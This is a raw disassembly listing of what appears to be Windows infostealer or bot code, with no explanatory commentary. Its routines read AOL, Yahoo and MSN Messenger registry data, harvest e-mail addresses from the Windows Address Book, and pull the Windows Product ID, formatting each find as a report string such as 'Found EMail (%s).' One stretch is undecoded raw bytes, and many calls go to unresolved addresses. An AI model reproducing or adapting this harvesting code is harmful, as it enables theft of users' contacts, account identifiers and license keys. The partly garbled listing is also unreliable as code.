sub_434660 proc near ; CODE XREF: sub_433A20+14p
; sub_433A20+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_4346A7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43467A: ; CODE XREF: sub_434660+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43467A
pop esi
loc_4346A7: ; CODE XREF: sub_434660+7j
pop edi
retn
sub_434660 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_43471A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4346ED: ; CODE XREF: sub_4346D0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4346ED
pop edi
pop esi
loc_43471A: ; CODE XREF: sub_4346D0+7j
pop ebp
retn
sub_4346D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434740 proc near ; CODE XREF: sub_433940+4Ep
; sub_433940+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_43475C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_434753: ; CODE XREF: sub_434740+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_434753
loc_43475C: ; CODE XREF: sub_434740+7j
pop esi
retn
sub_434740 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434770 proc near ; CODE XREF: sub_433A20+60p
; sub_433AB0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_43479E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_43479E: ; CODE XREF: sub_434770+6j
retn
sub_434770 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4347B0 proc near ; CODE XREF: sub_401C0Dj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4347B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4347B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+30h]
push 7
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4348A0: ; CODE XREF: ___:loc_401F1Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BDF6
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434E5E
push 80h
mov dword ptr [esp+1Ch], 800h
nop
call near ptr 77C2C407h
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_443600 ; " "
push 1
push eax
call sub_4016AE
push 800h
mov dword ptr [esp+16F0h], 0
call sub_4367FA
; ---------------------------------------------------------------------------
db 8Bh
dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 83D89C0h
dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h
dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h
dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h, 0C08508C4h
dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h
dd 0F0685204h, 55004435h, 1B9105E8h, 0B99000h, 33000002h
dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0CBF0000h, 0F30050E4h
dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
dd 0
dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h
dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah
dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch
dd 24CB5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F70h
dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
dd 51000001h, 44C75250h, 4424h, 4DE80000h, 900247B5h, 1424448Bh
dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h
dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
dd 80000003h, 402444C7h, 800h, 48B507E8h, 0C0859002h, 0E9850Fh
dd 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h, 20244489h
dd 8F94E890h, 0B9001Bh, 33000002h, 24BC8DC0h, 6F4h, 0F310C483h
dd 100B9ABh, 0CBF0000h, 0F30050E4h, 24448DABh, 19685010h
dd 6A000200h, 3685500h, 0E8800000h, 24FB4ACh, 8468B90h
dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh, 6A006A52h
dd 0FF515000h, 74C085D3h, 24548B0Bh, 0E8905210h, 24CB480h
dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h
dd 6A006Ah, 0D3FF5052h, 3C75C085h, 8BFC568Bh, 16F424BCh
dd 8C8D0000h, 6E424h, 68525100h, 443D4Ch, 0E8694F8Dh, 0FFFCC913h
dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h
dd 1CC483FFh, 1024548Bh, 19E89052h, 8B024CB4h, 8B24247Ch
dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h, 4C244C8Dh
dd 0EC2484C6h, 16h, 0FCC619E8h, 10C683FFh, 5A24FE81h, 820F0044h
dd 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h, 20019h
dd 0B068006Ah, 6800445Bh, 80000002h, 302444C7h, 0
dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h
dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h
dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1B8E1Ah
dd 443E8C68h, 0E8905600h, 7780A36Ch, 0C483F88Bh, 74FF8518h
dd 948D5775h, 8024h, 52646A00h, 0BEF3E890h, 0C4837780h
dd 74C0850Ch, 24448D53h, 6A44687Ch, 0E8500044h, 77812F8Ch
dd 8C48390h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch
dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h
dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60B5h, 0FCCB33E8h
dd 18C483FFh, 0BD93E857h, 83907780h, 0F68504C4h, 90560A74h
dd 7F74EEE8h, 4C48377h, 1C24448Bh, 0C5E89050h, 8D024CB2h
dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h
dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h
dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
dd 68F08B00h, 4469F8h, 69E86852h, 90560044h, 1B8D09E8h
dd 3E8C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h
dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h
dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h
dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h
dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
dd 80BC88E8h, 4C48377h, 0A74F685h, 0E4E89056h, 83777F73h
dd 548B04C4h, 90521C24h, 4CB1BBE8h, 244C8D02h, 2484C764h
dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_434E5E: ; CODE XREF: ___:004348E1j
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434FE2
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
nop
call near ptr 2930000h
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_446948
push ecx
mov dword ptr [esp+2Ch], 100h
call near ptr 28E0000h
nop
test eax, eax
jz short loc_434EE8
mov edx, [esp+10h]
push edx
nop
call near ptr 2900000h
jmp loc_434FE2
; ---------------------------------------------------------------------------
loc_434EE8: ; CODE XREF: ___:00434ED6j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_50F738
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp ; dword_50F738
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_44693C
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
call near ptr 2930000h
nop
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
call near ptr 28E0000h
nop
test eax, eax
jz short loc_434F9F
mov ecx, [esp+10h]
push ecx
call ebp ; dword_50F738
jmp short loc_434FE2
; ---------------------------------------------------------------------------
loc_434F9F: ; CODE XREF: ___:00434F94j
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp ; dword_50F738
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_434FE2: ; CODE XREF: ___:00434E70j
; ___:00434E94j ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4351E0 proc near ; CODE XREF: sub_4016F4j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4351E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_4351E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435280: ; CODE XREF: ___:loc_401FD7j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017E4
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43551E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
nop
call near ptr 2930000h
mov eax, [esp+14h]
test eax, eax
jz loc_43551E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_446F70
push eax
call near ptr 28E0000h
nop
mov eax, [esp+14h]
push eax
nop
call near ptr 2900000h
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
nop
call near ptr 28603C2h
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2720000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_435359
push edi
nop
call near ptr 28409D0h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435359: ; CODE XREF: ___:00435341j
push 0
push 0
push 0
push 4
push ebx
call near ptr 27206CDh
nop
mov esi, eax
test esi, esi
jnz short loc_435389
mov esi, dword_50F8D8
push ebx
call esi ; dword_50F8D8
push edi
call esi ; dword_50F8D8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435389: ; CODE XREF: ___:0043536Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_435428
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4353CB: ; CODE XREF: ___:0043541Ej
xor eax, eax
mov ecx, edi
loc_4353CF: ; CODE XREF: ___:004353DFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4353CF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4353CB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_435428: ; CODE XREF: ___:004353B7j
push edi
mov edi, dword_50F8D8
call edi ; dword_50F8D8
push esi
nop
call near ptr 2720826h
push ebx
call edi ; dword_50F8D8
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
nop
call near ptr 2930000h
test eax, eax
jnz loc_43551E
mov ebx, off_50FBF0
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_435477: ; CODE XREF: ___:0043550Ej
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset dword_446A88
push ecx
call ebx ; sub_5EDAB2
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
nop
call near ptr 28E0000h
test eax, eax
jnz short loc_435513
lea ecx, [esp+2DCh]
push ecx
push offset dword_446A7C
lea ecx, [ebp+69h]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
push 64h
call near ptr 2840000h
nop
jmp loc_435477
; ---------------------------------------------------------------------------
loc_435513: ; CODE XREF: ___:004354D3j
mov ecx, [esp+18h]
push ecx
nop
call near ptr 2900000h
loc_43551E: ; CODE XREF: ___:004352A4j
; ___:004352D4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4355E0 proc near ; CODE XREF: sub_401E47j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4355E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_401681
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4355E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+34h]
push 7
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_401681
add esi, 32h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4356F0 proc near ; CODE XREF: sub_401E4Cj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4356F0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435BC7
push ebp
xor ebp, ebp
push ebp
push offset asc_443600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017E4
mov edi, dword_50F75C
push eax
push 80000001h
call edi ; dword_50F75C
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017E4
mov ebp, dword_50F724
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_43581C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BCB+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_43581C: ; CODE XREF: sub_4356F0+FCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2900000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000002h
call edi ; dword_50F75C
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435904
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BBF+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435904: ; CODE XREF: sub_4356F0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2900000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000005h
call edi ; dword_50F75C
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_4359EC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_446BB4
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_4359EC: ; CODE XREF: sub_4356F0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 2900000h
nop
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000000h
call edi ; dword_50F75C
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435AD4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435AD4: ; CODE XREF: sub_4356F0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2900000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000003h
call edi ; dword_50F75C
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017E4
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp ; dword_50F724
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_435BBD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435BBD: ; CODE XREF: sub_4356F0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_435C61
; ---------------------------------------------------------------------------
loc_435BC7: ; CODE XREF: sub_4356F0+3Cj
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435C67
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
nop
call near ptr 2930000h
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
call near ptr 28E0000h
nop
test eax, eax
jnz short loc_435C5C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435C5C: ; CODE XREF: sub_4356F0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_435C61: ; CODE XREF: sub_4356F0+4D2j
nop
